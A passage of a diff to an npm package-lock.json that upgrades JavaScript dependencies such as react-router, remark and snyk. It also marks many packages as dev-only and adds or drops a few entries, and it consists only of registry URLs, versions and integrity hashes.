"version": "0.12.1", + "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.1.tgz", + "integrity": "sha512-j6fkRY7ha9XMv1HPVakRCsvyFwHGR5AZuwO8naBBeZXnZbbLor5tpcUxS/8XD01+D1v7ZN5p+7LU+9V1uyASiQ==", "requires": { - "prop-types": "^15.5.8", - "react-base16-styling": "^0.5.1" + "prop-types": "^15.7.2", + "react-base16-styling": "^0.7.0" } }, "react-jsonschema-form-bs4": { @@ -13694,27 +17738,37 @@ "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" }, "react-overlays": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-4.1.0.tgz", - "integrity": "sha512-vdRpnKe0ckWOOD9uWdqykLUPHLPndIiUV7XfEKsi5008xiyHCfL8bxsx4LbMrfnxW1LzRthLyfy50XYRFNQqqw==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-5.0.0.tgz", + "integrity": "sha512-TKbqfAv23TFtCJ2lzISdx76p97G/DP8Rp4TOFdqM9n8GTruVYgE3jX7Zgb8+w7YJ18slTVcDTQ1/tFzdCqjVhA==", "requires": { - "@babel/runtime": "^7.4.5", - "@popperjs/core": "^2.0.0", - "@restart/hooks": "^0.3.12", + "@babel/runtime": "^7.12.1", + "@popperjs/core": "^2.5.3", + "@restart/hooks": "^0.3.25", "@types/warning": "^3.0.0", - "dom-helpers": "^5.1.0", + "dom-helpers": "^5.2.0", "prop-types": "^15.7.2", "uncontrollable": "^7.0.0", "warning": "^4.0.3" + }, + "dependencies": { + "@babel/runtime": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", + "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", + "requires": { + "regenerator-runtime": "^0.13.4" + } + } } }, "react-particles-js": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.3.0.tgz", - "integrity": "sha512-pc9oJWEHH3UR1sJurL98TPrEWr0Yf2E8j+f8PLDpgbnQirTRqfwEvTRNJ/Ibvt6233WycCrndn6ImfL0PDEr7A==", + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.4.1.tgz", + "integrity": "sha512-c3+vITUMN9RlgbERZYd9Kzvjmf49ENp07+9+NDLvE1Jf9euabrJi/q6gCCcv5foxGHBYjHnGs47Tusmrl0/+GQ==", "requires": { "lodash": "^4.17.11", - "tsparticles": "^1.17.1" + "tsparticles": "^1.18.10" } }, "react-redux": { @@ -13732,55 +17786,34 @@ } }, "react-router": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.3.1.tgz", - "integrity": "sha512-yrvL8AogDh2X42Dt9iknk4wF4V8bWREPirFfS9gLU1huk6qK41sg7Z/1S81jjTrGHxa3B8R3J6xIkDAA6CVarg==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.2.0.tgz", + "integrity": "sha512-smz1DUuFHRKdcJC0jobGo8cVbhO3x50tCL4icacOlcwDOEQPq4TMqwx3sY1TP+DvtTgz4nm3thuo7A+BK2U0Dw==", "requires": { - "history": "^4.7.2", - "hoist-non-react-statics": "^2.5.0", - "invariant": "^2.2.4", + "@babel/runtime": "^7.1.2", + "history": "^4.9.0", + "hoist-non-react-statics": "^3.1.0", "loose-envify": "^1.3.1", + "mini-create-react-context": "^0.4.0", "path-to-regexp": "^1.7.0", - "prop-types": "^15.6.1", - "warning": "^4.0.1" - }, - "dependencies": { - "hoist-non-react-statics": { - "version": "2.5.5", - "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-2.5.5.tgz", - "integrity": "sha512-rqcy4pJo55FTTLWt+bU8ukscqHeE/e9KWvsOW2b/a3afxQZhwkQdT1rPPCJ0rYXdj4vNcasY8zHTH+jF/qStxw==" - }, - "warning": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz", - "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==", - "requires": { - "loose-envify": "^1.0.0" - } - } + "prop-types": "^15.6.2", + "react-is": "^16.6.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" } }, "react-router-dom": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.3.1.tgz", - "integrity": "sha512-c/MlywfxDdCp7EnB7YfPMOfMD3tOtIjrQlj/CKfNMBxdmpJP8xcz5P/UAFn3JbnQCNUxsHyVVqllF9LhgVyFCA==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.2.0.tgz", + "integrity": "sha512-gxAmfylo2QUjcwxI63RhQ5G85Qqt4voZpUXSEqCwykV0baaOTQDR1f0PmY8AELqIyVc0NEZUj0Gov5lNGcXgsA==", "requires": { - "history": "^4.7.2", - "invariant": "^2.2.4", + "@babel/runtime": "^7.1.2", + "history": "^4.9.0", "loose-envify": "^1.3.1", - "prop-types": "^15.6.1", - "react-router": "^4.3.1", - "warning": "^4.0.1" - }, - "dependencies": { - "warning": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz", - "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==", - "requires": { - "loose-envify": "^1.0.0" - } - } + "prop-types": "^15.6.2", + "react-router": "5.2.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" } }, "react-spinners": { @@ -13866,6 +17899,7 @@ "version": "2.3.7", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -13927,9 +17961,9 @@ } }, "regenerate": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.0.tgz", - "integrity": "sha512-1G6jJVDWrt0rK99kBjvEtziZNCICAuvIPkSiUFIQxVP06RCVpq3dmDo2oi6ABpYaDYaTRr67BEhL8r1wgEZZKg==", + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", "dev": true }, "regenerate-unicode-properties": { @@ -13947,13 +17981,12 @@ "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==" }, "regenerator-transform": { - "version": "0.14.4", - "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.4.tgz", - "integrity": "sha512-EaJaKPBI9GvKpvUz2mz4fhx7WPgvwRLY9v3hlNHWmAuJHI13T4nwKnNvm5RWJzEdnI5g5UwtOww+S8IdoUC2bw==", + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.5.tgz", + "integrity": "sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw==", "dev": true, "requires": { - "@babel/runtime": "^7.8.4", - "private": "^0.1.8" + "@babel/runtime": "^7.8.4" } }, "regex-not": { @@ -13983,9 +18016,9 @@ "dev": true }, "regexpu-core": { - "version": "4.7.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.0.tgz", - "integrity": "sha512-TQ4KXRnIn6tz6tjnrXEkD/sshygKH/j5KzK86X8MkeHyZ8qst/LZ89j3X4/8HEIfHANTFIP/AbXakeRhWIl5YQ==", + "version": "4.7.1", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.1.tgz", + "integrity": "sha512-ywH2VUraA44DZQuRKzARmw6S66mr48pQVva4LBeRhcOltJ6hExvWly5ZjFLYo67xbIxb6W1q4bAGtgfEl20zfQ==", "dev": true, "requires": { "regenerate": "^1.4.0", @@ -13997,9 +18030,10 @@ } }, "registry-auth-token": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.0.tgz", - "integrity": "sha512-P+lWzPrsgfN+UEpDS3U8AQKg/UjZX6mQSJueZj3EK+vNESoqBSpBUD3gmu4sF9lOsjXWjF11dQKUqemf3veq1w==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.1.tgz", + "integrity": "sha512-6gkSb4U6aWJB4SF2ZvLb76yCBjcvufXBqvvEx1HbmKPkutswjW1xNVRY0+daljIYRbogN7O0etYSlbiaEQyMyw==", + "dev": true, "requires": { "rc": "^1.2.8" } @@ -14008,20 +18042,21 @@ "version": "5.1.0", "resolved": "https://registry.npmjs.org/registry-url/-/registry-url-5.1.0.tgz", "integrity": "sha512-8acYXXTI0AkQv6RAOjE3vOaIXZkT9wo4LOFbBKYQEEnnMNBpKqdUrI6S4NT0KPIo/WVvJ5tE/X5LF/TQUf0ekw==", + "dev": true, "requires": { "rc": "^1.2.8" } }, "regjsgen": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.1.tgz", - "integrity": "sha512-5qxzGZjDs9w4tzT3TPhCJqWdCc3RLYwy9J2NB0nm5Lz+S273lvWcpjaTGHsT1dc6Hhfq41uSEOw8wBmxrKOuyg==", + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz", + "integrity": "sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==", "dev": true }, "regjsparser": { - "version": "0.6.4", - "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.4.tgz", - "integrity": "sha512-64O87/dPDgfk8/RQqC4gkZoGyyWFIEUTTh80CU6CWuK5vkCGyekIx+oKcEIYtP/RAxSQltCZHCNu/mdd7fqlJw==", + "version": "0.6.9", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.9.tgz", + "integrity": "sha512-ZqbNRz1SNjLAiYuwY0zoXW8Ne675IX5q+YHioAGbCw4X96Mjl2+dcX9B2ciaeyYjViDAfvIjFpQjJgLttTEERQ==", "dev": true, "requires": { "jsesc": "~0.5.0" @@ -14042,60 +18077,32 @@ "dev": true }, "remark": { - "version": "12.0.0", - "resolved": "https://registry.npmjs.org/remark/-/remark-12.0.0.tgz", - "integrity": "sha512-oX4lMIS0csgk8AEbzY0h2jdR0ngiCHOpwwpxjmRa5TqAkeknY+tkhjRJGZqnCmvyuWh55/0SW5WY3R3nn3PH9A==", + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/remark/-/remark-13.0.0.tgz", + "integrity": "sha512-HDz1+IKGtOyWN+QgBiAT0kn+2s6ovOxHyPAFGKVE81VSzJ+mq7RwHFledEvB5F1p4iJvOah/LOKdFuzvRnNLCA==", "dev": true, "requires": { - "remark-parse": "^8.0.0", - "remark-stringify": "^8.0.0", - "unified": "^9.0.0" + "remark-parse": "^9.0.0", + "remark-stringify": "^9.0.0", + "unified": "^9.1.0" } }, "remark-parse": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-8.0.2.tgz", - "integrity": "sha512-eMI6kMRjsAGpMXXBAywJwiwAse+KNpmt+BK55Oofy4KvBZEqUDj6mWbGLJZrujoPIPPxDXzn3T9baRlpsm2jnQ==", + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-9.0.0.tgz", + "integrity": "sha512-geKatMwSzEXKHuzBNU1z676sGcDcFoChMK38TgdHJNAYfFtsfHDQG7MoJAjs6sgYMqyLduCYWDIWZIxiPeafEw==", "dev": true, "requires": { - "ccount": "^1.0.0", - "collapse-white-space": "^1.0.2", - "is-alphabetical": "^1.0.0", - "is-decimal": "^1.0.0", - "is-whitespace-character": "^1.0.0", - "is-word-character": "^1.0.0", - "markdown-escapes": "^1.0.0", - "parse-entities": "^2.0.0", - "repeat-string": "^1.5.4", - "state-toggle": "^1.0.0", - "trim": "0.0.1", - "trim-trailing-lines": "^1.0.0", - "unherit": "^1.0.4", - "unist-util-remove-position": "^2.0.0", - "vfile-location": "^3.0.0", - "xtend": "^4.0.1" + "mdast-util-from-markdown": "^0.8.0" } }, "remark-stringify": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-8.0.0.tgz", - "integrity": "sha512-cABVYVloFH+2ZI5bdqzoOmemcz/ZuhQSH6W6ZNYnLojAUUn3xtX7u+6BpnYp35qHoGr2NFBsERV14t4vCIeW8w==", + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-9.0.1.tgz", + "integrity": "sha512-mWmNg3ZtESvZS8fv5PTvaPckdL4iNlCHTt8/e/8oN08nArHRHjNZMKzA/YW3+p7/lYqIw4nx1XsjCBo/AxNChg==", "dev": true, "requires": { - "ccount": "^1.0.0", - "is-alphanumeric": "^1.0.0", - "is-decimal": "^1.0.0", - "is-whitespace-character": "^1.0.0", - "longest-streak": "^2.0.1", - "markdown-escapes": "^1.0.0", - "markdown-table": "^2.0.0", - "mdast-util-compact": "^2.0.0", - "parse-entities": "^2.0.0", - "repeat-string": "^1.5.4", - "state-toggle": "^1.0.0", - "stringify-entities": "^3.0.0", - "unherit": "^1.0.4", - "xtend": "^4.0.1" + "mdast-util-to-markdown": "^0.6.0" } }, "remove-trailing-separator": { @@ -14138,12 +18145,6 @@ "is-finite": "^1.0.0" } }, - "replace-ext": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-1.0.0.tgz", - "integrity": "sha1-3mMSg3P8v3w8z6TeWkgMRaZ5WOs=", - "dev": true - }, "request": { "version": "2.88.2", "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", @@ -14178,6 +18179,12 @@ "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", "dev": true }, + "require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true + }, "require-main-filename": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", @@ -14199,9 +18206,10 @@ } }, "resolve-alpn": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.0.0.tgz", - "integrity": "sha512-rTuiIEqFmGxne4IovivKSDzld2lWW9QCjqv80SYjPgf+gS35eaCAjaP54CCwGAwBtnCsvNLYtqxe1Nw+i6JEmA==" + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.1.1.tgz", + "integrity": "sha512-0KbFjFPR2bnJhNx1t8Ad6RqVc8+QPJC4y561FYyC/Q/6OzB3fhUzB5PEgitYhPK6aifwR5gXBSnDMllaDWixGQ==", + "dev": true }, "resolve-cwd": { "version": "2.0.0", @@ -14276,6 +18284,7 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.0.tgz", "integrity": "sha512-xH48u3FTB9VsZw7R+vvgaKeLKzT6jOogbQhEe/jewwnZgzPcnyWui2Av6JpoYZF/91uueC+lqhWqeURw5/qhCw==", + "dev": true, "requires": { "lowercase-keys": "^2.0.0" } @@ -14305,12 +18314,14 @@ "reusify": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", - "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==" + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true }, "rimraf": { "version": "2.7.1", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "dev": true, "requires": { "glob": "^7.1.3" } @@ -14325,15 +18336,42 @@ "inherits": "^2.0.1" } }, + "roarr": { + "version": "2.15.4", + "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz", + "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==", + "dev": true, + "requires": { + "boolean": "^3.0.1", + "detect-node": "^2.0.4", + "globalthis": "^1.0.1", + "json-stringify-safe": "^5.0.1", + "semver-compare": "^1.0.0", + "sprintf-js": "^1.1.2" + }, + "dependencies": { + "sprintf-js": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", + "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", + "dev": true + } + } + }, "run-async": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", - "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==" + "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==", + "dev": true }, "run-parallel": { - "version": "1.1.9", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.1.9.tgz", - "integrity": "sha512-DEqnSRTDw/Tc3FXf49zedI638Z9onwUotBMiUFKmrO2sdFKIbXamXGQ3Axd4qgphxKB4kw/qP1w5kTxnfU1B9Q==" + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "requires": { + "queue-microtask": "^1.2.2" + } }, "run-queue": { "version": "1.0.3", @@ -14353,6 +18391,7 @@ "version": "6.5.5", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.5.tgz", "integrity": "sha512-WfQI+1gohdf0Dai/Bbmk5L5ItH5tYqm3ki2c5GdWhKjalzjg93N3avFjVStyZZz+A2Em+ZxKH5bNghw9UeylGQ==", + "dev": true, "requires": { "tslib": "^1.9.0" } @@ -14418,7 +18457,8 @@ "sax": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", - "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==" + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", + "dev": true }, "scheduler": { "version": "0.19.1", @@ -14460,11 +18500,6 @@ } } }, - "secure-keys": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/secure-keys/-/secure-keys-1.0.0.tgz", - "integrity": "sha1-8MgtmKOxOah3aogIBQuCRDEIf8o=" - }, "select-hose": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", @@ -14483,12 +18518,20 @@ "semver": { "version": "5.7.1", "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true + }, + "semver-compare": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz", + "integrity": "sha1-De4hahyUGrN+nvsXiPavxf9VN/w=", + "dev": true }, "semver-diff": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/semver-diff/-/semver-diff-3.1.1.tgz", "integrity": "sha512-GX0Ix/CJcHyB8c4ykpHGIAvLyOwOobtM/8d+TQkAd81/bEjgPHrfba41Vpesr7jX/t8Uh+R3EX9eAS5be+jQYg==", + "dev": true, "requires": { "semver": "^6.3.0" }, @@ -14496,7 +18539,8 @@ "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true } } }, @@ -14535,6 +18579,23 @@ } } }, + "serialize-error": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz", + "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==", + "dev": true, + "requires": { + "type-fest": "^0.13.1" + }, + "dependencies": { + "type-fest": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", + "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", + "dev": true + } + } + }, "serialize-javascript": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", @@ -14606,7 +18667,8 @@ "set-immediate-shim": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz", - "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=" + "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=", + "dev": true }, "set-value": { "version": "2.0.1", @@ -14639,7 +18701,8 @@ "setprototypeof": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", - "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" + "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==", + "dev": true }, "sha.js": { "version": "2.4.11", @@ -14688,6 +18751,7 @@ "version": "1.2.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", + "dev": true, "requires": { "shebang-regex": "^1.0.0" } @@ -14695,7 +18759,8 @@ "shebang-regex": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", - "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=" + "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", + "dev": true }, "shortid": { "version": "2.2.15", @@ -14706,19 +18771,29 @@ } }, "side-channel": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.2.tgz", - "integrity": "sha512-7rL9YlPHg7Ancea1S96Pa8/QWb4BtXL/TZvS6B8XFetGBeuhAsfmUspK6DokBeZ64+Kj9TCNRD/30pVz1BvQNA==", + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", "dev": true, "requires": { - "es-abstract": "^1.17.0-next.1", - "object-inspect": "^1.7.0" + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + }, + "dependencies": { + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + } } }, "signal-exit": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.3.tgz", - "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==" + "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==", + "dev": true }, "slash": { "version": "2.0.0", @@ -14745,11 +18820,6 @@ } } }, - "smart-buffer": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.1.0.tgz", - "integrity": "sha512-iVICrxOzCynf/SNaBQCw34eM9jROU/s5rzIhpOvzhzuYHfJR/DhZfDkXiZSgKXfgv26HT3Yni3AV/DGw0cGnnw==" - }, "snapdragon": { "version": "0.8.2", "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", @@ -14858,18 +18928,21 @@ } }, "snyk": { - "version": "1.373.1", - "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.373.1.tgz", - "integrity": "sha512-R8f0IpBPlK5fMytP9X1Nrk//u2NKHQ+kv/PFi0SaCW80ksFP3zrC8oKXYBkvfYTm+56TVw8cZm888DwvEOL5zg==", + "version": "1.535.0", + "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.535.0.tgz", + "integrity": "sha512-NQpGzXb66WvMGkZ2vye58LST1lJFN+diEQ76dlTdh/e2KgFb/qmevo/VgDqAsMsFW6h0rE8V6tFqVBDb8mfEBw==", + "dev": true, "requires": { - "@snyk/cli-interface": "2.8.1", - "@snyk/dep-graph": "1.18.3", + "@open-policy-agent/opa-wasm": "^1.2.0", + "@snyk/cli-interface": "2.11.0", + "@snyk/code-client": "3.4.0", + "@snyk/dep-graph": "^1.27.1", + "@snyk/fix": "1.526.0", "@snyk/gemfile": "1.2.0", - "@snyk/graphlib": "2.1.9-patch", - "@snyk/inquirer": "6.2.2-patch", - "@snyk/lodash": "^4.17.15-patch", - "@snyk/ruby-semver": "2.2.0", - "@snyk/snyk-cocoapods-plugin": "2.3.0", + "@snyk/graphlib": "^2.1.9-patch.3", + "@snyk/inquirer": "^7.3.3-patch", + "@snyk/snyk-cocoapods-plugin": "2.5.2", + "@snyk/snyk-hex-plugin": "1.1.1", "abbrev": "^1.1.1", "ansi-escapes": "3.2.0", "chalk": "^2.4.2", @@ -14877,31 +18950,54 @@ "configstore": "^5.0.1", "debug": "^4.1.1", "diff": "^4.0.1", - "glob": "^7.1.3", - "needle": "^2.5.0", + "global-agent": "^2.1.12", + "hcl-to-json": "^0.1.1", + "lodash.assign": "^4.2.0", + "lodash.camelcase": "^4.3.0", + "lodash.clonedeep": "^4.5.0", + "lodash.endswith": "^4.2.1", + "lodash.flatten": "^4.4.0", + "lodash.flattendeep": "^4.4.0", + "lodash.get": "^4.4.2", + "lodash.groupby": "^4.6.0", + "lodash.isempty": "^4.4.0", + "lodash.isobject": "^3.0.2", + "lodash.map": "^4.6.0", + "lodash.omit": "^4.5.0", + "lodash.orderby": "^4.6.0", + "lodash.sortby": "^4.7.0", + "lodash.uniq": "^4.5.0", + "lodash.upperfirst": "^4.3.1", + "lodash.values": "^4.3.0", + "micromatch": "4.0.2", + "needle": "2.6.0", "open": "^7.0.3", + "ora": "5.3.0", "os-name": "^3.0.0", - "proxy-agent": "^3.1.1", + "promise-queue": "^2.2.5", "proxy-from-env": "^1.0.0", + "rimraf": "^2.6.3", "semver": "^6.0.0", - "snyk-config": 